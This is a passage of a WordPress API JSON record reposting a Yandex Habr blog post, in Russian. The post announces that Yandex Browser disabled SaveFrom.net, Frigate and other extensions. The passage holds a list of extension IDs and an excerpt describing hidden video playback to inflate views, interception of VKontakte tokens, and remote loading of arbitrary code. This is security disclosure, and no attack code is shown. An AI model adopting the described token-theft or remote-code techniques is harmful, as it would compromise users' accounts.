mbacbcfdfaapbcnlnbmciiaakomhkbkb<br \/>  mdnmhbnbebabimcjggckeoibchhckemm<br \/>  lfedlgnabjompjngkpddclhgcmeklana<br \/>  mdpljndcmbeikfnlflcggaipgnhiedbl<br \/>  npdpplbicnmpoigidfdjadamgfkilaak<br \/>  ibehiiilehaakkhkigckfjfknboalpbe<br \/>  lalpacfpfnobgdkbbpggecolckiffhoi<br \/>  hdbipekpdpggjaipompnomhccfemaljm<br \/>  gfjocjagfinihkkaahliainflifnlnfc<br \/>  ickfamnaffmfjgecbbnhecdnmjknblic<br \/>  bmcnncbmipphlkdmgfbipbanmmfdamkd<br \/>  miejmllodobdobgjbeonandkjhnhpjbn  <\/div>\n<\/p><\/div>\n<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/yandex\/blog\/534586\/\"> https:\/\/habr.com\/ru\/company\/yandex\/blog\/534586\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u043f\u0440\u0438\u043d\u044f\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f SaveFrom.net, Frigate Light, Frigate CDN \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u042f\u043d\u0434\u0435\u043a\u0441.\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u0430. \u0421\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u0430\u044f \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f \u044d\u0442\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 8 \u043c\u043b\u043d \u0447\u0435\u043b\u043e\u0432\u0435\u043a. <\/p>\n<p>  \u0412 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435 \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c \u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u0445 \u0438 \u043f\u043e\u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439. \u0412\u044b \u0443\u0437\u043d\u0430\u0435\u0442\u0435 \u043f\u0440\u043e \u0442\u0430\u0439\u043d\u043e\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u0438\u0434\u0435\u043e \u0438\u0437 \u043e\u043d\u043b\u0430\u0439\u043d-\u043a\u0438\u043d\u043e\u0442\u0435\u0430\u0442\u0440\u043e\u0432 \u0441 \u0446\u0435\u043b\u044c\u044e \u043d\u0430\u043a\u0440\u0443\u0442\u043a\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432. \u0423\u0432\u0438\u0434\u0438\u0442\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u043a\u043e\u0434\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435. \u041c\u044b \u043f\u043e\u043a\u0430\u0436\u0435\u043c, \u043a\u0430\u043a \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/s5\/gm\/ta\/s5gmtaezmzqrfj2strevbrbr2j0.png\"><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-315440","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/315440","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=315440"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/315440\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=315440"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=315440"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=315440"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}